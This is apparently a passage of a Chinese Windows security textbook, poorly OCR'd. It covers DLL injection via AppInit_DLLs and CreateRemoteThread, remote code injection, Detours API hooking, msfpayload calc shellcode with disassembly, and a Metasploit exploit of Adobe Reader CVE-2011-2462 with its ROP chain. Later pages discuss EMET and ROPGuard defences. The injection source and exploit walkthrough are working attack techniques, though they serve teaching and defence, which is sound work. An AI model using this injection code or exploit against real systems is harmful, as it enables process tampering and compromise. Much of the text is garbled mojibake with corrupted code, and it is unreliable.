printf ("AppInit DLLs: %s -> ", szDllName);
lstrcpy(szDl1lName, argv([1l]);

1Result = RegSetValueEx (hKey, "AppInit DLLs",

0, REG Sz, (PBYTE)szDllName, lstrlen(szDllName) + 1);
if (1Result != ERROR_SUCCESS){

printf ("Error: RegSetValueEx failed.\n")

RegQueryValueEx (hKey,

"AppInit DLLs", NULL, &dwType, NULL, &dwSize);
RegQueryValueEx (hKey,

"AppInit DLLs", NULL, &dwType, (LPBYTE)szDllName, &dwSize);
printf ("$s\n", szDllName) ;

RegCloseKey (hKey) ;
return 0;

AN

C:\>writeappinit.exe "C:\\loging.dll"
AppInit DLLs: -> C:\\loging.dll
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writeappinit.cpp ] LAV AppInit DLLs TS5 NEEE, KA IR E logingdll

HIBR AR I Is A T IXA R

7F Windows 7 ", HJHETE 2%t LoadApplnit DLLs FIME B A“1”, 1E KK regedit #iih— F &
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MIBELLE, MAZn# T user32.dll [BERE, [AIINt2n#k logingdll. FATATEAISA—F, H
OllyDbg #TJF Stirling.exe, &F — FMEIRFIZE, HrpRIRFH logingdll.

4.2.4 B I CreateRemoteThread 7 1L fth i3k F5 i 6] 2 £k f&

AT LA CreateRemoteThread iX 1~ API pR A HADEFE P Q26 FE,  IX R AT DLAE BT 26
FEHI24T LoadLibrary, M 45 HARERE 55 ) 4 554> DLL.

HANDLE CreateRemoteThread(

HANDLE hProcess, // FFEAIAR
LPSECURITY ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize, // BRI KE (FED
LPTHREAD START ROUTINE lpStartAddress,
LPVOID lpParameter, /7 RS ERE
DWORD dwCreationFlags, // B#J#ibr
LPDWORD 1pThreadId // SEMLFETDIRE
)
~ AJ \) BN o M2 N AN — N o
Ak, XHEA—AGE, B LoadLibrary RS E AT H FRuERE N

¥, LoadLibrary P B S AT R A F e 5N H AR R R A S ) (YA I
chap04\dllinjection\dllinjection) -

V¥ injectcode.h

int InjectDLLtoProcessFromName (TCHAR *szTarget, TCHAR *szDllPath);
int InjectDLLtoProcessFromPid (DWORD dwPid, TCHAR *szDllPath);
int InjectDLLtoNewProcess (TCHAR *szCommandLine, TCHAR *szDllPath);

F =BT R .

e InjectDLLtoProcessFromName

12 JERTPAT SCPE A4 S BAH N U ERE F A DLL
e InjectDLLtoProcessFromPid

7 SRR ID R 2IAH N REFE A DLL

e InjectDLLtoNewProcess
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V dllinjection.cpp

#include "stdafx.h"
#include <tlhelp32.h>
#include "dllinjection.h"

DWORD GetProcessIdFromName (TCHAR *szTargetProcessName)

{

int

HANDLE hSnap = CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, 0);

if (hSnap == INVALIDiHANDLE7VALUE)
return 0;

PROCESSENTRY32 pe;
pe.dwSize = sizeof (pe);

DWORD dwProcessId = 0;
BOOL bResult = Process32First (hSnap, &pe);

while (bResult) {
if(!lstrcmp (pe.szExeFile, szTargetProcessName)) {
dwProcessId = pe.th32ProcessID;
break;

}

bResult = Process32Next (hSnap, é&pe);
}
CloseHandle (hSnap) ;

return dwProcessId;

InjectDLL (HANDLE hProcess, TCHAR *szDllPath)

int szDllPathLen = lstrlen(szDllPath) + 1;

PWSTR RemoteProcessMemory = (PWSTR)VirtualAllocEx (hProcess,
NULL, szDllPathLen, MEM RESERVE|MEM COMMIT, PAGE READWRITE) ;
if (RemoteProcessMemory == NULL)

return -1;

BOOL bRet = WriteProcessMemory (hProcess,

RemoteProcessMemory, (PVOID)szDllPath, szDllPathLen, NULL);
if (bRet == FALSE)

return -1;

PTHREAD START ROUTINE pfnThreadRtn;

pfnThreadRtn = (PTHREAD START ROUTINE)GetProcAddress (
GetModuleHandle ("kernel32"), "LoadLibraryA");
if (pfnThreadRtn == NULL)

return -1;

HANDLE hThread = CreateRemoteThread (hProcess, NULL, O,
pfnThreadRtn, RemoteProcessMemory, 0, NULL);

if (hThread == NULL)
return -1;

WaitForSingleObject (hThread, INFINITE) ;

VirtualFreeEx (hProcess,
RemoteProcessMemory, szDllPathLen, MEM RELEASE) ;

CloseHandle (hThread) ;
return 0;



int InjectDLLtoExistedProcess (DWORD dwPid, TCHAR *szDllPath)
{
HANDLE hProcess = OpenProcess (
PROCESS CREATE THREAD | PROCESS VM READ | PROCESS VM WRITE |
PROCESS VM OPERATION | PROCESS QUERY INFORMATION , FALSE, dwPid) ;
if (hProcess == NULL)
return -1;
/*
BOOL bJudgeWow64;
IsWow64Process (hProcess, &bJudgeWow64) ;
if (bJudgeWow64 == FALSE) {
CloseHandle (hProcess) ;
return -1;
}
*/
if (InjectDLL (hProcess, szDllPath))
return -1;

CloseHandle (hProcess) ;
return 0;

int InjectDLLtoProcessFromName (TCHAR *szTarget, TCHAR *szDllPath)

DWORD dwPid = GetProcessIdFromName (szTarget) ;
if (dwPid == 0)
return -1;
if (InjectDLLtoExistedProcess (dwPid, szDllPath))
return -1;
return 0;

int InjectDLLtoProcessFromPid (DWORD dwPid, TCHAR *szDllPath)

if (InjectDLLtoExistedProcess (dwPid, szDllPath))
return -1;
return 0;

int InjectDLLtoNewProcess (TCHAR *szCommandLine, TCHAR *szDllPath)

STARTUPINFO si;
PROCESS INFORMATION pi;

ZeroMemory (&si, sizeof (STARTUPINFO)) ;
si.cb = sizeof (STARTUPINFO) ;

BOOL bResult = CreateProcess (NULL, szCommandLine, NULL, NULL,
FALSE, CREATE SUSPENDED, NULL, NULL, &si, &pi);

if (bResult == FALSE)
return -1;

int nRet = -1;

/*

BOOL bJudgeWow64;

IsWow64Process (pi.hProcess, &bJudgeWow6d) ;

if (bJudgeWow64 == FALSE)
goto Exit;
*/
if (InjectDLL (pi.hProcess, szDllPath))
goto Exit;
nRet = 0;
_Exit:

ResumeThread (pi.hThread) ;
CloseHandle (pi.hThread) ;
CloseHandle (pi.hProcess) ;



return nRet;
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4.2.5 TEANKE

NI A FATTH CreateRemoteThread 1 T LoadLibrary. 2428, AN & DLL, HEIRATREW FAT
B R (YD S 2] H bR N, BrT LLA CreateRemote Thread SKiIs4TE

Ok, BAPRE X IE (32 fiheA) A fune pREIEI T GEAUE I

chap04\codeinjection\codeinjection) -

V codeinjection.cpp

#include "stdafx.h"
#include <windows.h>

typedef HWND (WINAPI *GETFORGROUNDWINDOW) (void) ;
typedef int (WINAPI *MSGBOX) (HWND, PCTSTR, PCTSTR, UINT);

typedef struct injectdata {

TCHAR szTitle[32];

TCHAR szMessage[32];

HANDLE hProcess;

PDWORD pdwCodeRemote;

PDWORD pdwDataRemote;

MSGBOX fnMessageBox;

GETFORGROUNDWINDOW fnGetForegroundWindow;
} INJECTDATA, *PINJECTDATA;

static DWORD WINAPI func (PINJECTDATA myAPT)
{
myAPI->fnMessageBox ( (HWND) myAPI->fnGetForegroundWindow (),
myAPI->szMessage, myAPI->szTitle, MB OK);

/*
if (myAPI->pCodeRemote != NULL)
VirtualFreeEx (myAPI->hProcess,
myAPI->pCodeRemote, 0, MEM RELEASE) ;
if (myAPI->pDataRemote != NULL)
VirtualFreeEx (myAPI->hProcess,
myAPI->pDataRemote, O, MEM RELEASE) ;
*/

return 0;

int tmain(int argc, TCHAR* argv[])

HMODULE h = LoadLibrary("user32.d1l1l");
if (h == NULL) {
printf ("ERR: LoadLibrary\n");
return -1;

}
INJECTDATA id;

id.fnGetForegroundWindow = (GETFORGROUNDWINDOW)

GetProcAddress (

GetModuleHandle ("user32"), "GetForegroundWindow") ;
id. fnMessageBox = (MSGBOX)

GetProcAddress (

GetModuleHandle ("user32"), "MessageBoxA");

lstrcpy(id.szTitle, "Message");
lstrcpy(id.szMessage, "Hello World!");



HWND hTarget = FindWindow ("IEFrame", NULL) ;

if (hTarget == NULL) {
printf ("ERR: FindWindow\n");
goto ENDI;

DWORD dwPID; // PID of iexplore.exe

GetWindowThreadProcessId (hTarget, (DWORD *) &dwPID) ;

id.hProcess = OpenProcess (PROCESS CREATE THREAD |
PROCESS QUERY INFORMATION | PROCESS VM OPERATION |
PROCESS VM WRITE | PROCESS VM READ, FALSE, dwPID) ;

if (id.hProcess == NULL) {
printf ("ERR: OpenProcess\n");
goto ENDI;

DWORD dwLen;
if ((id.pdwCodeRemote = (PDWORD)VirtualAllocEx (id.hProcess,
0, 4096, MEMﬁCOMMIT, PAGEiEXECUTEiREADWRITE)) == NULL)

printf ("ERR: VirtualAllocEx (pdwCodeRemote)\n") ;

goto END2;

}

if ((id.pdwDataRemote = (PDWORD)VirtualAllocEx (id.hProcess,
0, 4096, MEM COMMIT, PAGE EXECUTE READWRITE)) == NULL)

printf ("ERR: VirtualAllocEx (pdwDataRemote)\n") ;
goto END3;

WriteProcessMemory (id.hProcess,

id.pdwCodeRemote, &func, 4096, &dwlen);
WriteProcessMemory (id.hProcess,

id.pdwDataRemote, &id, sizeof (INJECTDATA), &dwLen);

HANDLE hThread = CreateRemoteThread(id.hProcess, NULL, O,
(LPTHREAD_START_ROUTINE)id.pdwCodeRemote, id.pdwDataRemote,
0, &dwLen);

if (hThread == NULL) {
printf ("ERR: CreateRemoteThread\n") ;
goto _END4;

WaitForSingleObject (hThread, INFINITE) ;
GetExitCodeThread (hThread, (PDWORD) &dwPID) ;
CloseHandle (hThread) ;

END4 :

VirtualFreeEx (id.hProcess, id.pdwDataRemote, 0, MEM RELEASE) ;
_END3:

VirtualFreeEx (id.hProcess, id.pdwCodeRemote, 0, MEM RELEASE) ;
_END2:

CloseHandle (id.hProcess) ;
_END1:

Freelibrary (h);

return 0;

—
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e Detours

http://research.microsoft.com/en-us/projects/detours/
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1] P B ARSI chap04\detourshook\detourshook) .

V¥ detourshook.h

#ifdef DETOURSHOOK EXPORTS

#define DETOURSHOOK API _ declspec(dllexport)
#else

#define DETOURSHOOK API  declspec(dllimport)
#endif

DETOURSHOOK APT int WINAPI HookedMessageBoxA (HWND hWnd,
LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);


http://www.amazon.com/dp/1572315482
http://research.microsoft.com/en-us/projects/detours/

V dllmain.cpp

#include "stdafx.h"
#include "detours.h"
#include "detourshook.h"

static int (WINAPI * TrueMessageBoxA) (HWND hWnd, LPCTSTR lpText,
LPCTSTR lpCaption, UINT uType) = MessageBoxA;

DETOURSHOOK API int WINAPI HookedMessageBoxA (HWND hWnd,
LPCTSTR 1lpText, LPCTSTR lpCaption, UINT uType)

int nRet = TrueMessageBoxA (hWnd, lpText, "Hooked Message", uType):;
return nRet;

int DllProcessAttach (VOID)

DetourRestoreAfterWith () ;
DetourTransactionBegin () ;
DetourUpdateThread (GetCurrentThread () ) ;
DetourAttach (& (PVOID&) TrueMessageBoxA, HookedMessageBoxA) ;
if (DetourTransactionCommit () != NO ERROR)

return -1;
return 0;

int DllProcessDetach (VOID)

DetourTransactionBegin () ;

DetourUpdateThread (GetCurrentThread()) ;
DetourDetach (& (PVOID&) TrueMessageBoxA, HookedMessageBoxA) ;
DetourTransactionCommit () ;

return 0;

BOOL APIENTRY Dl11Main ( HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved
)

switch (ul reason for call)

{
case DLL PROCESS ATTACH:

Dl1lProcessAttach () ;
break;

case DLL THREAD ATTACH:
break;

case DLL THREAD DETACH:
break;

case DLL PROCESS DETACH:
Dl11ProcessDetach () ;
break;

}
return TRUE;

I AARAS T BLKE user32.d11 5 HE Y R B MessageBoxA £ 4t Jil. HookedMessageBoxA. il KK
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chap04\detourshook\helloworld)

V helloworld.cpp

#include "stdafx.h"
#include <Windows.h>

int tmain(int argc, TCHAR* argv([])
{
HMODULE h = LoadLibrary("detourshook.dl1l");
MessageBoxA (GetForegroundWindow (),
"Hello World! using MessageBoxA", "Message", MB OK);
Freelibrary (h);
return 0;

\EAFN
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(C) Copyright 1955-Z001 Microsoft Corp.

Cirhymetasploithappa’ provmafizruby mefpavload windows/exec CHD=calcoc.ex
Cihmetasploitc! Yprovwsfdzruby mefpavload windows/exec CMD=calc.ex
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ruby wefpayload windows/ ¢ CHD=eale.exe B > x.bin
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iT='Hella' TITLE='MEZ' R > z.hin

o > v.bin
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seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:

00000000
00000001
00000006
00000007
00000009
0000000B
0000000F
00000012
00000015
00000015
00000015
00000018
0000001C
0000001E
0000001E
0000001E
00000020
00000021
00000023
00000025
00000027
00000027
00000027
0000002A
0000002C
0000002E
0000002F
00000030
00000033
00000036
00000038
0000003B

cld
call
pusha
mov
XOr
mov
mov
mov

loc 15:
mov
Movzx
xor

loc 1E:
XOr
lodsb
cmp
31
sub

loc 27:
ror
add
loop
push
push
mov
mov
add
mov
test

loc 8F

ebp, esp

edx, edx

edx, fs:[edx+30h]
edx, [edx+0Ch]
edx, [edx+14h]

esi, [edx+28h]
ecx, word ptr [edx+26h]
edi, edi

eax, eax

al, 6lh ; 'a'
short loc_27

al, 20h ; ' !
edi, ODh

edi, eax

loc 1E

edx

edi

edx, [edx+10h]
eax, [edx+3Ch]
eax, edx
eax, [eax+78h]
eax, eax



seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:
seg000:

0000003D
0000003F
00000041
00000042
00000045
00000048
0000004A
0000004A
0000004A
0000004cC
0000004D
00000050
00000052
00000054
00000054
00000054
00000056
00000057
0000005A
0000005C
0000005E
00000060
00000063
00000066
00000068
00000069
0000006C
0000006E
00000072
00000075
00000077
0000007A
0000007C
00000080
00000081
00000082
00000083
00000084
00000085
00000086
00000088
00000088
00000088
00000089
00000089
00000089
0000008A
0000008B
0000008D
0000008F
0000008F
0000008F
00000090
00000092
00000098
00000099
0000009E
000000A0
000000A5
000000AA
000000AC
000000AE
000000BO
000000B3
000000BS
000000BA
000000BA
000000BA
000000BA

jz
add
push
mov
mov
add

loc 4A:
jecxz
dec
mov
add
XOor

loc 54:
Xor
lodsb
ror
add
cmp
jnz
add
cmp
jnz
pop
mov
add
mov
mov
add
mov
add
mov
pop
pop
popa
pop
pop
push
jmp

loc 88:
pop

loc _89:
pop
pop
mov
Jmp

loc 8F:
pop
push
lea
push
push
call
mov
push
call
cmp
jl
cmp
jnz
mov

loc BA:

push

short loc 89
eax, edx

eax

ecx, [eax+18h]
ebx, [eax+20h]
ebx, edx

short loc 88
ecx

esi, [ebxtecx*4]
esi, edx

edi, edi

eax, eax

edi, ODh

edi, eax

al, ah

short loc 54
edi, [ebp-8]
edi, [ebp+24h]
short loc 4A
eax

ebx, [eax+24h]
ebx, edx

cx, [ebxtecx*2]
ebx, [eax+1Ch]
ebx, edx

eax, [ebxtecx*4]
eax, edx
[espt24h], eax
ebx

ebx

ecx
edx
ecx
eax

eax

edi

edx

edx, [edx]
short loc 15

ebp

1

eax, [ebp+0BSh]
eax

876F8B31h

ebp

ebx, 56A2B5F0h
9DBD95A6Nh

ebp

al, ©

short loc BA
bl, OEOh

short loc BA
ebx, 6F721347h

0



seg000:000000BC
seg000:000000BD
seg000:000000BD
seg000:000000BF
seg000:000000C0O
seg000:000000C1
seg000:000000C2
seg000:000000C3
seg000:000000C4
seg000:000000C5
seg000:000000C6
seg000:000000C7

seg000:000000C7 seg000 ends

T )5 T B AR e R BAREE, KR A AKX shellcode 3 —
5.1.5 — ROP [ 5L PR 1

N FRAILL CVE-2011-2462 M|, 44

push
call

db 63h
do 61h ;
db 6Ch ;
db 63h ;
db

db 65h
db 78h ;
db

db

ebx
ebp

Q =

2Eh ; .

65h ;

0

AN 3 mE R R

e, FATH Metasploit 4 l—AN T2 19 PDF XA

e Adobe Reader U3D Memory Corruption Vulnerability

AU VR EEARE o

%] ROP [ 5E Rl ¥

http://www.rapid7.com/db/modules/exploit/windows/fileformat/adobe_reader_u3d



http://www.rapid7.com/db/modules/exploit/windows/fileformat/adobe_reader_u3d

X

[+ Metasploit Pro Console

| File  Edit Help

-g3 D 6 e

[*] Ztarting Metasploit

Yiew

Consaole., ..

- 1a5
nops

1001 exploits - 624 auxiliary
262 pavloads - 28

post

————— encoders — o
¥ loaded plugin: pro

i {fileformat/adobe reader uid

1 > Set PATLOAD windows/

(= =

CHD calc.exe

I rget

] = exploit

[+] wsf.pdf : d at Documents and Settings/Campers/ . .msf4/ local/mst.pdE
f exploit(adohe re - I -
Beady ' ' D50
A [T Metasploit /£ /i CVE-2011-2462 ¥ X di 4014
Rk, FATK: OllyDbg e simfiikes . AJ5, ¥ rt3d.dll ) ROP F 2/ PIadT Z B 7
MA int3 (0xCC) o
=2 Stirling - [rt3d.dil E||E|E|
ot 2pLE REE BE-BSHE FEQ oMW
D[c(@| (| 2[E[@Cols=] sal % [sas]onr|# oG] Crloulne] o4 %h@i
ADDRESS 00 07 02 03 04 05 06 07 08 09 04 OB 0C 0D OE OF  01234567832BCDEF -
I8 07 BA 00 65 EB 00 00 00 51 [EE 50 1C 8% CO OF 95 _
A BT a S B A e S e B R o S A i B TG, . T RO,
K0 10 8A 45 FF C9 C3 56 8B F1 8B 46 14 85 C0 74 PR ./JVEMT. = 1
OE FF 74 24 08 FF 76 18 56 FF D0 84 CO 74 OC 8B
46 0C 23 44 24 08 F7 D8 1B CO 40 HE C2 04 00 b ADE. - mety,
8B EC 83 EC 24 &E 4D 10 OF E7 b1 04 8B 45 0C 8B %I: tE. 3088
00 8B 14 90 6B Dz 0C 03 bh 08 b6 57 bz OF BY b =R LUONR, ji[;]
Mo oD 14 an nC D7 a0 oD DS o, ol nd 0o 0o BER No -tlx! T
[0x0014GAaBS [ [ [EZE [2405784 Bytes _SHIF'I

A 5 rt3d.dll [ 0014CAB9 £/ & 25 h 0xCC

Fl Adobe Reader ] JTiXA~ PDF Cff, OllyDbg < A& JT, AT UAEFR — F &4 18R

L



75, AT 0xCC K5k 0xFF.

222FCABZ| 51 PUSH ECH

Z85FCABS| FEEA IC CALL OWORO FTR- DE:[ERH+IC] ]
Z82FCABC| S5CA TEST ERX,ERH

Z22FCABE| BF9SCH SETHE AL

Z88FCACL| C3 RETH

Z288FCACZ| 55 FUSH EEF

Z88FCACZ| SBEC MOy EBF, ESF

282FCACE| &1 PUSH ECH

222FCACE| 2BB1 MO ER, DWORD PTR DS:LCECK]

282FCACE| &R G1 PUSH 1

282FCACA| 8055 FF LEA ED:,OWORD PTR S5:CEBP-11

22SFCACD| 52 FUZH ED=

Z88FCACEl 51 FPUSH ECH

Z288FCACE| FFS@ 18 CALL OWORD PTR D5:[CEHx+18]

Z82FCADZ| SR45 FF MOU AL,BYTE FTR SS5:[EEBFP-11

282FCADE| C9 LERUE =
222FCADE| C3 RETH =
2828FCADF| 56 PUSH ESI i
282FCADZ| SBF1 MOW ESI,ECH

Z22SFCADA| SB4s 14 MOY ER=, DWORD PTR DS:L[ESI+141]

Z55FCAOD| S5CA TEST ERx,ERX

QooCTnncl..7?A Gl IC SCUNDT =24 2ooCrncc

A rt3d.dl # [¥) CALL DWORD PTR DS:[EAX+1C]

iz B, ROP (il R [E] 4 fe) ookt —2ELLRE] (et 74D GRS Fr BiiFziie
K, MMSEBLEEWRERIZHE. 76 ROP Y, ZHEATHIAIS ML E At , T T 20 i 4
BEAT B T AT IZ Lo o faf R, it H ret AU jmp SKEEATBH o

CVE-2011-2462 H', 4 EAX=0C0COCOC I}, 24T N2,

4AZAECEF| 94 KCHG ERX, ESF

EiElEKEY  (FRW
4RERECFE| CHEE 02 SHR EL,Z £ Efi OO1SEEDD
4RERECFE| S2CH %OR AL, AL ECH BLBLOCaELE
402EECFS| BF POP EDI =| ED% B22CCFEER
4ASRECFE s POP ESI =\ EB mepisaic
4RZBECEF| CF RETH : "~ | ESP GCRCECIE
4RSEECFS| SB4424 o4 MU EAW.OWORD PTR S5: [ESF+4] EEP GE1SEEC4
e SR | R S sl
4REEEDBa| C3 RETH Rl BEAREEAS
iagggggg VEE arve3a168 #HEHiEEEnuSE.upru_Free_S_E EIF 4AZ8ECFE Locucny
4p2RE0EA| SBEC MOY EEF, ESP E ? EE SS%E EEE{E
4pS@E0BC| 53 PLUSH EEX 0B S5 BAEZz Zehit
4p3@E0B0| 56 PUSH EST 71 DS B@Ezs ehit
4REAE0PE| SEPS @3 MOU ESI,DWORD PTR SS: [EEF+S] % & F: om3e A3hit
4RE@EDLL| S30B %OR EEX,EEX T A &% pEea HULL
4REEEDLE| 291E CHP DWORD PTR OS:[ESI1,EBY e
409ME01E| 74 B2 JE SHORT icucnu36, 4R205060 0 B {H—4H: ERROR
4A2RE01T| S9SE 1@ CHP OWORD PTR OS:CESI+181,ERX it
e ne, JE Rl bingie [ s o
H + ] -

B JE SHORT icucnusé. ASRE0SF 3 AL A
4REAE021| 5340 @3 FF OR OWORD FTR S5:LEBF+&1, FFFFFFFF 312 mmpty 1. PBBAES]

ST2 empty —8.8

§T4 erpty 6.8

A BT ROP izfTACHG B

// AL

4A806CEF 94 XCHG EAX,ESP
4A806CF0  COEB 02 SHR BL,2
4A806CF3  32C0 XOR AL, AL
4A806CF5  5F POP EDI
4A806CF6  5E POP ESI

4A806CFE7 C3 RETN



/] K%

0C0COCOC  0C0COCOC  POP EDI
0C0C0C10  0C0COCOC POP ESI
0COCOC1l4  4A806F29 F—MBk%E Hin

4A806CEF [f] XCHG EAX,ESP f#if3 ESP=0C0C0COC, X5 ZW4 POP 154, fx)o ki3]
4A806F29, A, RETN H-¥& A R[FIRGGIEHR WL, @B 2] 7 i A,

/7 ARG
4A806F29  5F POP EDI
4A806F2A  5E POP ESI

4A806F2B 5D POP EBP
4A806F2C C2 1400 RETN 14

/] K%

0C0C0C18  4A8A0000 POP EDI
0C0COCLC  4A802196 POP ESI
0cococz20 4A801F90 POP EBP
0C0C0C24  4A806F29 F—MBk%E Hix

R[] 4A806F29 2 J5i, N j& 3 % POP 454, 2 FKHAT RETN 14,
B 21 bR 4A806F29 2 Ji, 33aAy 1 [FIAF A ACHY .

XA I H 1 A2 8 A0 T B 25 A7 A IR

URAS BT S ANE s, AT DR R X AT P

4A8063A5 59 POP ECX

4A8063A6 C3 RETN

47802196 8901 MOV DWORD PTR DS: [ECX],EAX
47802198 C3 RETN

4A801F90 58 POP EAX ; <&KERNEL32.CreateFileA>

4A801F91 C3 RETN



F RETN k442 CALL EAX I, #tr] LLIH ] CreateFileA.

IR AR DR s 5k, (HILSEHR I R LORDREEAT S, e ROP R RLE2
A B .



5.2 JH EMET M %% 2. ROP [ MLl
5.2.1 fI"4 & EMET

EMET 4=#5 4 Enhanced Mitigation Experience Toolkit (5 AR T HY , JEER KA —
AR IR T H . 3.0 Lz il H 3 B o fb A 2L, M 3.5 hik
UG IBE I T — L5 ) S R D e

#UEFPIAE (2013/05/10) , EMET IHCHRA N 4.08.

e Introducing EMET v4 Beta
http://blogs.technet.com/b/srd/archive/2013/04/18/introducing-emet-v4-beta.aspx

EMET A HUBATE B Thfe 3.5 b AT Thfesent LB )« ROP (Anti-ROP) #L
il o

9 3 IR AL, NAERNEERSE TN T ASLR. DEP (Exec-Shield) 4§
AU, IR BB FB, ROP IEECREAZ FE M, 7 EMET IF & 548 H sk
Iz ROP HLHI ) L H

5.2.2 Anti-ROP )% 11315 7 WiE &

EMET H[¥] Anti-ROP ¥ZEfER 2012 A5 IMATHENL 477 R RFE“WNE 22 (BlueHat
Prize) W33,

e BlueHat Prize

http://www.microsoft.com/security/bluehatprize/

XIURFEWE T B4, wWE 20 J1EIG, WE S JTEIL, FE 1 TEIG. MREHKTT
TAVRELE ROP A, 1 HaxX e 7 RESHE T S H .

FARRE T R CE DT RATAEM L, REAT GBI 1 — g 25—

e kBouncer: Efficient and Transparent ROP Mitigation

http://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf

e ROPGuard - runtime prevention of return-oriented programming attacks

http://ifsec.blogspot.jp/2012/08/my-bluehat-prize-entry-ropguard-runtime.html

e BlueHat Prize Submission:/ROP


http://blogs.technet.com/b/srd/archive/2013/04/18/introducing-emet-v4-beta.aspx
http://www.microsoft.com/security/bluehatprize/
http://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf
http://ifsec.blogspot.jp/2012/08/my-bluehat-prize-entry-ropguard-runtime.html

http://www.vdalabs.com/tools/DeMott BlueHat Submission.pdf
5.2.3 WA B kA
“Ofa] PR B HIRE PP AN B i B, IXAMBEJE BT 0 T8,  [R) I o 2 e F o N B )
SERIRE. AT RN KM T ASLR. Exec-Shield (DEP) . StackGuard ZF#24x#Liil,
HEIEEANE, I TR BT BT o

By BRI HARET R AL

o DRI RE 7 AN 32 2% b I 1 (14 5% i
o BLTH A S AT IR A 2

YENTEME IR T R —1“ROPGuard - runtime prevention of return-oriented programming
attacks™ 4 F AR T —FhARH S HI A R ROP [R5V

ROPGuard fiif R il /& P AT “RETN JriR Bl H BrAT ¥ ATAHXT B CALL” (Bl CALL-
RETN VLEcHE) AIPLH). XA ARF f ., (A + 0 A0l - Return-into-libe
1 ROP ik .

AIIHITE, CALL KRR PR, e FREPRIS R, CRERMEDL D #ahdr
RETN, i FFEA-45 R RETN B[Rl H brsthl, Mizmta CALL #5210 Rl — 45452

SR, {F Return-into-libc K5 ™1, RETN k¥ 2 & B 3k, 1 ROP Bl h s T 4R %
Z ) RETN, XHHSSEHIRETN J-A IR [H] CALL # F—4454 " H1H .

R, XA R T 967 CALL F1 RETN BOUGHECYE CGRFHAR B , DU kAS Il ROP
I Return-into-libc K7 o

%, ARSI B SATIR 2 T B U AERS, LA T XL

o TEAT A I TA) g HI R [0
o N RIATINA
o XAZIRH
5.2.4  fi5iE 2 N A 112 4
ROPGuard B T 74, & KAT T M IPEA .

Roa] LU MR IA AR, TSR UME, BE4 GitHub EAAn 7 Rifbhi,
BT LETUR AR, RSB n] DU A XA A


http://www.vdalabs.com/tools/DeMott_BlueHat_Submission.pdf

e ROPGuard-Cheap

https://github.com/kenjiaiko/ropguard cheap

AEH AT AT ROPGuard-Cheap SKEEATUMPE. =448, IR EAT A, 2R 2R
— 5, (EJENRF, load rgexe B4 5N ropguard.exe, Ifj ropguard.dll M AY4F ropguarddil.dil.

NIERARE — MR R
XA T HEJZME DLL VEACKELRY HFRRERER, & 44E chap05\ropguard_cheap\Release H7 X
PIAN S
e load rg.exe (ropguard.exe)
e ropguard.dll (ropguarddil.dil)
load_rg.exe St F & —AMIN#ids, HIEXK T Anti-ROP [ 4H#RTE ropguard.dll .
AL, R T RN, BATEEKE—F load rgexe.

W RFEH VC++2010 #7JT ropguard\ropguard.sln SCAF. XA TFREPAELUR O GURARHE L
chap05\ropguard cheap, IEALAEIEEACHIE)

main.cpp (load rg\main.cpp)

createprocess.cpp ( common\createprocess.cpp)

patchentrypoint.cpp ( common\patchentrypoint.cpp)

debug.cpp ( common\debug.cpp)

Horb main.cpp EEAL T main RRELLL A OCIZHE, IR NS HUH IREGERE ID 83 T4k
T3 ER A, SRS In) H FRdEFEEA DLL (ropguard.dll)

WRAESEIIAR, 203 R P A AL

o U2 ID: 1/ GuardExistingProcess
o N[FAT LM% 4%: ] CreateNewGuardedProcess

XL ZEAT T createprocess.cpp W, AEIX AN SCAEHR I EL S R I IE B .

o [f) H#ruEAEE A DLL


https://github.com/kenjiaiko/ropguard_cheap

e H1¥F CreateProcessInternalW, ib#i#E#E (#1247 (il CREATE_SUSPENDED #5
)

V1A

CreateProcessInternal W 144 F T DLL W (&2 4, s AR e . tab, 15 KK R R
iA— | patchentrypoint.cpp, IXFEFH 1) PatchEntryPoint pR AT LUK HoAth bR 7 N 11T I £
NACEIR (FBFE) , HIPJ&% s DLL 7 A 56 o

5.2.5 DLL fIFEF 24

BN R BATKREER DLL TS EFEREHE,

5 K% & chap05\ropguard_cheap\ropguard H'[J dllmain.cpp, XM 4T T ROPGuard ZEH) & X
PLLE AR B H] ReadROPSettings TEHUACE, - H PatchFunctions 25 % FRELST AN | o

{3 A 0 WinExee BRETHN T, 345 SRS WinExec FIFF S B ek jmp 154

V¥ kernel32:WinExec (] M T 7))

7C8623AD > 8BFF MOV EDI,EDI
TC8623AF 55 PUSH EBP
7C8623B0 8BEC MOV EBP,ESP
7C8623B2 83EC 54 SUB ESP, 54
7C8623B5 53 PUSH EBX

BATRE IR 5 A7 S0y jmp F82FF

V¥ kernel32:WinExec (fT4#h T J5)

7C8623AD >-E9 4EDC2D84 JMP 00B40000
7C8623B2 83EC 54 SUB ESP, 54
7C8623B5 53 PUSH EBX

H1 T jmp F5- T2 A 5 AT, DI R BT Sk JRUAS I A A 157 i

e MOV EDLEDI
e PUSH EBP

e MOV EBP,ESP



FHENFSYEE IMP 00B40000. 1XFE—K, 28 WinExec W, Feraiki% 3

00B40000.
2 ALIRATTE B 00B40000 (11552 4 .

// 00B40000

00B40000 81EC 04000000 SUB ESP,4

00B40006 60 PUSHAD

00B40007 54 PUSH ESP

00B40008 68 F876D329 PUSH 29D376F8

00B4000D E8 T7E344COF CALL ropguard.10003490
00B40012 81C4 24000000 ADD ESP,24

00B40018 8BFF MOV EDI,EDI

00B4001A 55 PUSH EBP

00B4001B 8BEC MOV EBP,ESP

00B4001D -E9 9023D27B JMP kernel32.7C8623B2

